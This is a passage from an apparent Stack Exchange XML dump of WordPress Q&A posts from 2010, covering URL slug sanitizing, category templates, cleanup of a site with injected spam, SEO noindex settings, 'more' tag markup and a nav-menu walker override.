wpse5029_sanitize_title_with_dashes($title) {&#xA;    $title = strip_tags($title);&#xA;    // Preserve escaped octets.&#xA;    $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);&#xA;    // Remove percent signs that are not part of an octet.&#xA;    $title = str_replace('%', '', $title);&#xA;    // Restore octets.&#xA;    $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);&#xA;&#xA;    $title = remove_accents($title);&#xA;    if (seems_utf8($title)) {&#xA;        //if (function_exists('mb_strtolower')) {&#xA;        //    $title = mb_strtolower($title, 'UTF-8');&#xA;        //}&#xA;        $title = utf8_uri_encode($title, 200);&#xA;    }&#xA;&#xA;    //$title = strtolower($title);&#xA;    $title = preg_replace('/&amp;amp;.+?;/', '', $title); // kill entities&#xA;    $title = str_replace('.', '-', $title);&#xA;    // Keep upper-case chars too!&#xA;    $title = preg_replace('/[^%a-zA-Z0-9 _-]/', '', $title);&#xA;    $title = preg_replace('/\s+/', '-', $title);&#xA;    $title = preg_replace('|-+|', '-', $title);&#xA;    $title = trim($title, '-');&#xA;&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-08T08:01:44.917" CommentCount="5" />
  <row Id="5033" PostTypeId="2" ParentId="5024" CreationDate="2010-12-08T08:45:44.893" Score="1" ViewCount="" Body="&lt;p&gt;you could make category for each family (name), and a (sub)category for each region, and then assign custom templates to each category using category &lt;a href=&quot;http://wordpress.org/extend/plugins/category-templates/&quot; rel=&quot;nofollow&quot;&gt;templates plugin&lt;/a&gt;. or - in case you want to use pages instead of posts/categories - then you don't need this plugin but instead just &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;create additional page templates&lt;/a&gt; for each family..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both ways will give you a box when you go to create new post / new page which will be on the right side - and there you will be able to choose a custom template for each post/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for gallery, I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NextGEN&lt;/a&gt; - you can create separate gallery for each family, and assign them (gallery categories) to post categories or pages. NextGEN will give you lots of options. &lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2010-12-08T08:45:44.893" />
  <row Id="5034" PostTypeId="2" ParentId="5029" CreationDate="2010-12-08T08:54:10.033" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@shalu&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really recommend that you stick with the lowercase URLs for your site that WordPress uses &lt;em&gt;(I consider that lowercase URLs are a best practice anyway)&lt;/em&gt; but that you &lt;strong&gt;set up 301 redirects&lt;/strong&gt; for all the URLs for which you have this problem. I find it usually ends with pain when you try to fight a platform to keep it from doing what it wants to do, and URLs structures are really baked into WordPress' architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote another answer which is very similar to your needs and that example can show you how to use the &lt;code&gt;'template_redirect'&lt;/code&gt; hook to set up a redirect for those URLs here you have this problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you'd like more clarification, please ask.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-08T19:45:19.030" LastActivityDate="2010-12-08T19:45:19.030" CommentCount="1" />
  <row Id="5035" PostTypeId="1" AcceptedAnswerId="5041" CreationDate="2010-12-08T08:55:16.720" Score="0" ViewCount="187" Body="&lt;p&gt;I'm trying to fix a site which has been injected with external spam. After inspection I found out that the external content (so far just html advertising different kinds of drugs, no scripts) was in the static pages created by w3 total cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out what part is responsible for this? The obvious answer would be the w3 total cache plugin itself, but the pgcache is actually writeable by any part of wordpress so it might be any other plugin or even the WP core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched the web for this problem but found nothing directly relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course wordpress is updated to the latest version available (3.0.2) as is every installed plugin. It does not depend on the theme as it happened with two different ones.&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:37:32.387" LastActivityDate="2011-01-31T09:37:32.387" Title="Spam injected in w3 total cache page cache" Tags="&lt;security&gt;&lt;cache&gt;&lt;spam&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" />
  <row Id="5036" PostTypeId="2" ParentId="5035" CreationDate="2010-12-08T09:08:06.250" Score="0" ViewCount="" Body="&lt;p&gt;I doubt the W3 cache is targeted. More likely is that spam is not injected in page for admin users, so you don't see anything in non-cached version, but regular page does contain spam and so it gets cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As usual there are plenty of info around on cleaning up hacked sites, starting with &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ My site was hacked&lt;/a&gt; in Codex. But really it's very case by case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clean reinstall and restore from known good backup is best bet, if not possible you are up for a lot of manual work (or hiring someone who specializes in such issues).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T09:08:06.250" CommentCount="3" />
  <row Id="5037" PostTypeId="2" ParentId="5016" CreationDate="2010-12-08T09:21:00.870" Score="2" ViewCount="" Body="&lt;p&gt;What exactly are you hoping for as an answer beyond what's written in the docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the plugin's source code: it uses, as the docs explain, http headers, IP, and meta stuff, and dumps things that are incomplete, inconsistent, or otherwise don't look right. There's positively nothing to add without giving you a line by line commentary of the source code -- an exercise which I'll leave to you. &lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-08T09:21:00.870" CommentCount="1" />
  <row Id="5038" PostTypeId="2" ParentId="5026" CreationDate="2010-12-08T09:41:03.437" Score="0" ViewCount="" Body="&lt;p&gt;did you update to v3.0.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not, my guess is that maybe someone used &lt;a href=&quot;http://wordpress.org/news/2010/11/wordpress-3-0-2/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; to gain access to your website and then deleted all your posts...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;&quot;This maintenance release fixes a moderate security issue that could allow a malicious Author-level user to gain further access to the site, addresses a handful of bugs, and provides some additional security enhancements.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;hope you got backup...&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="1535" LastEditorDisplayName="" LastEditDate="2010-12-08T09:47:39.997" LastActivityDate="2010-12-08T09:47:39.997" />
  <row Id="5039" PostTypeId="1" AcceptedAnswerId="5042" CreationDate="2010-12-08T09:54:00.067" Score="0" ViewCount="102" Body="&lt;p&gt;Anyone know how to override noindex on certain categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want a few of my categories to be index but the rest not, in the All in one SEO plugin I have a setting that says &quot;Use noindex for Categories&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was wondering if there was any way of overriding this on some categories but leave it in place for the majority of categories?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2010-12-08T11:15:43.680" Title="All In One SEO Plugin - Category INDEX" Tags="&lt;plugins&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="5040" PostTypeId="2" ParentId="4724" CreationDate="2010-12-08T10:09:53.667" Score="0" ViewCount="" Body="&lt;p&gt;Thank you all for helping me out - that's really great. I'd like to share with you what I've come up with. I know it is not the smartest solution. The drawback is that a parent category is shown for a region, when there is no custom post attached to it for this region (but there is a custom post attached to it for an other region). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this on a region (taxonomy archive) page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$categories = get_categories();&#xA;foreach ($categories as $cat)&#xA;{&#xA;    if($cat-&amp;gt;parent &amp;lt; 1)&#xA;    {&#xA;        $cat_name = $cat-&amp;gt;cat_name;                         &#xA;        $catid = get_cat_ID( $cat_name );&#xA;&#xA;        echo '&amp;lt;div class=&quot;indexcolumn-top&quot;&amp;gt;';&#xA;&#xA;        $img = $taxonomy_images_plugin-&amp;gt;get_image_html( 'fullsize', $cat-&amp;gt;term_taxonomy_id );&#xA;        if( !empty( $img ) )&#xA;            print $img;&#xA;        else &#xA;            echo '&amp;lt;h2&amp;gt;' .$cat_name. '&amp;lt;/h2&amp;gt;';&#xA;&#xA;        $input = array();&#xA;        $args=array(&#xA;          'child_of' =&amp;gt; $catid,&#xA;          'orderby' =&amp;gt; 'name',&#xA;          'order' =&amp;gt; 'ASC'&#xA;          );&#xA;&#xA;        $categories = get_categories($args);&#xA;        foreach ($categories as $cat)&#xA;        {&#xA;            $cat_name = $cat-&amp;gt;cat_name;&#xA;            $catid = get_cat_ID( $cat_name );&#xA;&#xA;            $args = array(&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'taxonomy_name' =&amp;gt; 'region',&#xA;                'taxonomy_term' =&amp;gt; $name,&#xA;            );&#xA;            $custom_posts = get_posts_by_taxonomy($args);&#xA;            if ($custom_posts):&#xA;                foreach ($custom_posts as $post):&#xA;                    setup_postdata($post);&#xA;                    $postcategory = get_the_category(); $postcat = $postcategory[0]-&amp;gt;cat_name;&#xA;                    if ($postcat == $cat_name):&#xA;                        $category = get_the_category(); &#xA;                        $input[] = $catid;&#xA;                    endif;&#xA;                endforeach;&#xA;            endif;&#xA;        }&#xA;        echo '&amp;lt;br/&amp;gt;';&#xA;        $output = array_unique($input);&#xA;        if (empty($output)):&#xA;            echo '&amp;lt;p&amp;gt;Geen bedrijven&amp;lt;/p&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        else :&#xA;            echo '&amp;lt;ul class=&quot;port-box&quot;&amp;gt;';&#xA;            foreach ($output as $output) {&#xA;                $cat_name = get_cat_name($output);  &#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_category_link($output) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $cat_name ) . '&quot; ' . '&amp;gt;' . $cat_name .'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';                             &#xA;            }&#xA;            echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        endif;&#xA;    }                                                   &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2010-12-08T10:09:53.667" CommentCount="4" />
  <row Id="5041" PostTypeId="2" ParentId="5035" CreationDate="2010-12-08T11:11:54.477" Score="2" ViewCount="" Body="&lt;p&gt;It is prolly injected in your files.&#xA;Look at the plugin files, search for eval or base64.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-08T11:11:54.477" CommentCount="1" />
  <row Id="5042" PostTypeId="2" ParentId="5039" CreationDate="2010-12-08T11:15:43.680" Score="1" ViewCount="" Body="&lt;p&gt;From quick look at code this is getting concatenated into &lt;code&gt;$meta_string&lt;/code&gt; variable, that is echoed without passing through any filter and so not easily modifiable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likely for more precise control you need to disable this option in plugin and insert tag with your own code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T11:15:43.680" />
  <row Id="5043" PostTypeId="2" ParentId="1482" CreationDate="2010-12-08T11:29:52.907" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Manage Your Media Only&#xA;Version: 0.1&#xA;*/&#xA;&#xA;//Manage Your Media Only&#xA;function mymo_parse_query_useronly( $wp_query ) {&#xA;    if ( strpos( $_SERVER[ 'REQUEST_URI' ], '/wp-admin/upload.php' ) !== false ) {&#xA;        if ( !current_user_can( 'level_5' ) ) {&#xA;            global $current_user;&#xA;            $wp_query-&amp;gt;set( 'author', $current_user-&amp;gt;id );&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;add_filter('parse_query', 'mymo_parse_query_useronly' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save code above as manage_your_media_only.php, zip it, upload as plugin to your WP and activate it, that's all.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-08T11:29:52.907" />
  <row Id="5044" PostTypeId="1" AcceptedAnswerId="9109" CreationDate="2010-12-08T12:57:34.200" Score="1" ViewCount="337" Body="&lt;p&gt;I've created my own custom post type using this tutorial: &lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine, but I'm having major problem with &quot;Read more&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we all know &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; adds &lt;code&gt;&amp;lt;span id=&quot;more-[number]&quot; /&amp;gt;&lt;/code&gt; at the start of hidden more paragraph. In my case this span breaks whole markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;This is normal paragraph and should be visible everywhere.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;!-- everything below is available only after clicking &quot;Read more...&quot; button --&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;span id=&quot;more-[postnumber] /&amp;gt;This is read &quot;more&quot; paragraph that will be displayed only on a &quot;single&quot; page.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;And another &quot;more&quot; paragraph.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case it creates this strange code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;p&amp;gt;This is normal paragraph and should be visible everywhere.&amp;lt;br/&amp;gt;&#xA;  &amp;lt;span id=&quot;more-[postnumber] /&amp;gt;&amp;lt;/br&amp;gt;This is read &quot;more&quot; paragraph that will be displayed only on a &quot;single&quot; page.&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;And another &quot;more&quot; paragraph.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the more feature in my case doesn't even work and doesn't even display &quot;Read more&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDITED]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I've added whitespace after and before my &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag, so the post looks like this in admin panel now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is normal paragraph and should be visible everywhere.&#xA;&#xA;&amp;lt;!--more--&amp;gt;&#xA;&#xA;This is read &quot;more&quot; paragraph that will be displayed only on a &quot;single&quot; page.&#xA;&#xA;And another &quot;more&quot; paragraph.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it outputs the whole text because more span is getting an additional paragraph (why? :O):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is normal paragraph and should be visible everywhere.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;span id=&quot;more-[postnumber] /&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;!-- I believe it shouldn't be in the additional &amp;lt;p&amp;gt; tag and that's the point --&amp;gt;&#xA;&amp;lt;p&amp;gt;This is read &quot;more&quot; paragraph that will be displayed only on a &quot;single&quot; page.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;And another &quot;more&quot; paragraph.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And about &quot;more button&quot; - I'm using the_content unfortunately...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And nothing helps, when I type 'TRUE' as the second parameter - the_content('Read more...', TRUE); - it hides everything BEFORE more tag (so it shows two last paragraphs and hides the first one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's that? :O&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-12-08T19:28:39.757" LastActivityDate="2011-02-10T21:10:09.970" Title="&quot;More&quot; span making trouble" Tags="&lt;custom-post-types&gt;&lt;more&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5045" PostTypeId="2" ParentId="5044" CreationDate="2010-12-08T13:20:31.913" Score="3" ViewCount="" Body="&lt;p&gt;So, two separate issues - links not displaying and faulty markup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For links not displaying - check if your template uses &lt;code&gt;the_content()&lt;/code&gt; function, &lt;em&gt;more&lt;/em&gt; functionality doesn't display links after &lt;code&gt;the_excerpt()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For markup I find that you need blank lines around &lt;em&gt;more&lt;/em&gt; for everything to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this can cause markup issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Some text here.&#xA;&amp;lt;!--more--&amp;gt;&#xA;And more here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Some text here.&#xA;&#xA;&amp;lt;!--more--&amp;gt;&#xA;&#xA;And more here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T13:20:31.913" CommentCount="1" />
  <row Id="5046" PostTypeId="2" ParentId="2770" CreationDate="2010-12-08T14:52:26.183" Score="3" ViewCount="" Body="&lt;p&gt;I succeeded in this, but it is a mess. Basically, the walker should have the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;db_fields['parent'] = 'post_parent';&#xA;$this-&amp;gt;db_fields['id'] = 'ID';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, to get that in place, you need to rip out the existing metabox callback, copy it, change one line so you get an extra filter, and place it back. Then you can pass your own walker that has these parameters set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'admin_head-nav-menus.php', 'wpse2770_admin_head_nav_menus' );&#xA;function wpse2770_admin_head_nav_menus()&#xA;{&#xA;    // Hijack &quot;Pages&quot; meta box callback with one that has an extra filter for the walker class&#xA;    $GLOBALS['wp_meta_boxes']['nav-menus']['side']['default']['add-page']['callback'] = 'wpse2770_wp_nav_menu_item_post_type_meta_box';&#xA;&#xA;    // Since Walker_Nav_Menu_Checklist is not always available, we create this class in this function (didn't even know that was possible...)&#xA;    class WPSE2770_Walker_Nav_Menu_Checklist extends Walker_Nav_Menu_Checklist&#xA;    {&#xA;        public function __construct()&#xA;        {&#xA;            $this-&amp;gt;db_fields['parent'] = 'post_parent';&#xA;            $this-&amp;gt;db_fields['id'] = 'ID';&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&#xA;add_filter( 'wp_nav_menu_item_post_type_meta_box_walker', 'wpse2770_wp_nav_menu_item_post_type_meta_box_walker', 10, 3 );&#xA;function wpse2770_wp_nav_menu_item_post_type_meta_box_walker( $walker, $post_type, $context )&#xA;{&#xA;    if ( 'page' == $post_type &amp;amp;&amp;amp; 'view-all' == $context ) {&#xA;        $walker = 'WPSE2770_Walker_Nav_Menu_Checklist';&#xA;    }&#xA;    return $walker;&#xA;}&#xA;&#xA;function wpse2770_wp_nav_menu_item_post_type_meta_box( $object, $post_type ) {&#xA;    global $_nav_menu_placeholder, $nav_menu_selected_id;&#xA;&#xA;    $post_type_name = $post_type['args']-&amp;gt;name;&#xA;&#xA;    // paginate browsing for large numbers of post objects&#xA;    $per_page = 50;&#xA;    $pagenum = isset( $_REQUEST[$post_type_name . '-tab'] ) &amp;amp;&amp;amp; isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;&#xA;    $offset = 0 &amp;lt; $pagenum ? $per_page * ( $pagenum - 1 ) : 0;&#xA;&#xA;    $args = array(&#xA;        'offset' =&amp;gt; $offset,&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'title',&#xA;        'posts_per_page' =&amp;gt; $per_page,&#xA;        'post_type' =&amp;gt; $post_type_name,&#xA;        'suppress_filters' =&amp;gt; true,&#xA;        'update_post_term_cache' =&amp;gt; false,&#xA;        'update_post_meta_cache' =&amp;gt; false&#xA;    );&#xA;&#xA;    if ( isset( $post_type['args']-&amp;gt;_default_query ) )&#xA;        $args = array_merge($args, (array) $post_type['args']-&amp;gt;_default_query );&#xA;&#xA;    // @todo transient caching of these results with proper invalidation on updating of a post of this type&#xA;    $get_posts = new WP_Query;&#xA;    $posts = $get_posts-&amp;gt;query( $args );&#xA;    if ( ! $get_posts-&amp;gt;post_count ) {&#xA;        echo '&amp;lt;p&amp;gt;' . __( 'No items.' ) . '&amp;lt;/p&amp;gt;';&#xA;        return;&#xA;    }&#xA;&#xA;    $post_type_object = get_post_type_object($post_type_name);&#xA;&#xA;    $num_pages = $get_posts-&amp;gt;max_num_pages;&#xA;&#xA;    $page_links = paginate_links( array(&#xA;        'base' =&amp;gt; add_query_arg(&#xA;            array(&#xA;                $post_type_name . '-tab' =&amp;gt; 'all',&#xA;                'paged' =&amp;gt; '%#%',&#xA;                'item-type' =&amp;gt; 'post_type',&#xA;                'item-object' =&amp;gt; $post_type_name,&#xA;            )&#xA;        ),&#xA;        'format' =&amp;gt; '',&#xA;        'prev_text' =&amp;gt; __('&amp;amp;laquo;'),&#xA;        'next_text' =&amp;gt; __('&amp;amp;raquo;'),&#xA;        'total' =&amp;gt; $num_pages,&#xA;        'current' =&amp;gt; $pagenum&#xA;    ));&#xA;&#xA;    if ( !$posts )&#xA;        $error = '&amp;lt;li id=&quot;error&quot;&amp;gt;'. $post_type['args']-&amp;gt;labels-&amp;gt;not_found .'&amp;lt;/li&amp;gt;';&#xA;&#xA;    $walker = 'Walker_Nav_Menu_Checklist';&#xA;&#xA;    $current_tab = 'most-recent';&#xA;    if ( isset( $_REQUEST[$post_type_name . '-tab'] ) &amp;amp;&amp;amp; in_array( $_REQUEST[$post_type_name . '-tab'], array('all', 'search') ) ) {&#xA;        $current_tab = $_REQUEST[$post_type_name . '-tab'];&#xA;    }&#xA;&#xA;    if ( ! empty( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {&#xA;        $current_tab = 'search';&#xA;    }&#xA;&#xA;    $removed_args = array(&#xA;        'action',&#xA;        'customlink-tab',&#xA;        'edit-menu-item',&#xA;        'menu-item',&#xA;        'page-tab',&#xA;        '_wpnonce',&#xA;    );&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;&quot; class=&quot;posttypediv&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;-tabs&quot; class=&quot;posttype-tabs add-menu-item-tabs&quot;&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php echo ( 'most-recent' == $current_tab ? ' class=&quot;tabs&quot;' : '' ); ?&amp;gt;&amp;gt;&amp;lt;a class=&quot;nav-tab-link&quot; href=&quot;&amp;lt;?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'most-recent', remove_query_arg($removed_args))); ?&amp;gt;#tabs-panel-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;-most-recent&quot;&amp;gt;&amp;lt;?php _e('Most Recent'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php echo ( 'all' == $current_tab ? ' class=&quot;tabs&quot;' : '' ); ?&amp;gt;&amp;gt;&amp;lt;a class=&quot;nav-tab-link&quot; href=&quot;&amp;lt;?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'all', remove_query_arg($removed_args))); ?&amp;gt;#&amp;lt;?php echo $post_type_name; ?&amp;gt;-all&quot;&amp;gt;&amp;lt;?php _e('View All'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php echo ( 'search' == $current_tab ? ' class=&quot;tabs&quot;' : '' ); ?&amp;gt;&amp;gt;&amp;lt;a class=&quot;nav-tab-link&quot; href=&quot;&amp;lt;?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'search', remove_query_arg($removed_args))); ?&amp;gt;#tabs-panel-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;-search&quot;&amp;gt;&amp;lt;?php _e('Search'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;tabs-panel-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;-most-recent&quot; class=&quot;tabs-panel &amp;lt;?php&#xA;            echo ( 'most-recent' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );&#xA;        ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;ul id=&quot;&amp;lt;?php echo $post_type_name; ?&amp;gt;checklist-most-recent&quot; class=&quot;categorychecklist form-no-clear&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                $recent_args = array_merge( $args, array( 'orderby' =&amp;gt; 'post_date', 'order' =&amp;gt; 'DESC', 'posts_per_page' =&amp;gt; 15 ) );&#xA;                $most_recent = $get_posts-&amp;gt;query( $recent_args );&#xA;                $args['walker'] = new $walker;&#xA;                echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $most_recent), 0, (object) $args );&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.tabs-panel --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;tabs-panel &amp;lt;?php&#xA;            echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );&#xA;        ?&amp;gt;&quot; id=&quot;tabs-panel-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;-search&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            if ( isset( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {&#xA;                $searched = esc_attr( $_REQUEST['quick-search-posttype-' . $post_type_name] );&#xA;                $search_results = get_posts( array( 's' =&amp;gt; $searched, 'post_type' =&amp;gt; $post_type_name, 'fields' =&amp;gt; 'all', 'order' =&amp;gt; 'DESC', ) );&#xA;            } else {&#xA;                $searched = '';&#xA;                $search_results = array();&#xA;            }&#xA;            ?&amp;gt;&#xA;            &amp;lt;p class=&quot;quick-search-wrap&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; class=&quot;quick-search input-with-default-title&quot; title=&quot;&amp;lt;?php esc_attr_e('Search'); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $searched; ?&amp;gt;&quot; name=&quot;quick-search-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;img class=&quot;waiting&quot; src=&quot;&amp;lt;?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;?php submit_button( __( 'Search' ), 'quick-search-submit button-secondary hide-if-js', 'submit', false ); ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;ul id=&quot;&amp;lt;?php echo $post_type_name; ?&amp;gt;-search-checklist&quot; class=&quot;list:&amp;lt;?php echo $post_type_name?&amp;gt; categorychecklist form-no-clear&quot;&amp;gt;&#xA;            &amp;lt;?php if ( ! empty( $search_results ) &amp;amp;&amp;amp; ! is_wp_error( $search_results ) ) : ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                $args['walker'] = new $walker;&#xA;                echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args );&#xA;                ?&amp;gt;&#xA;            &amp;lt;?php elseif ( is_wp_error( $search_results ) ) : ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php echo $search_results-&amp;gt;get_error_message(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            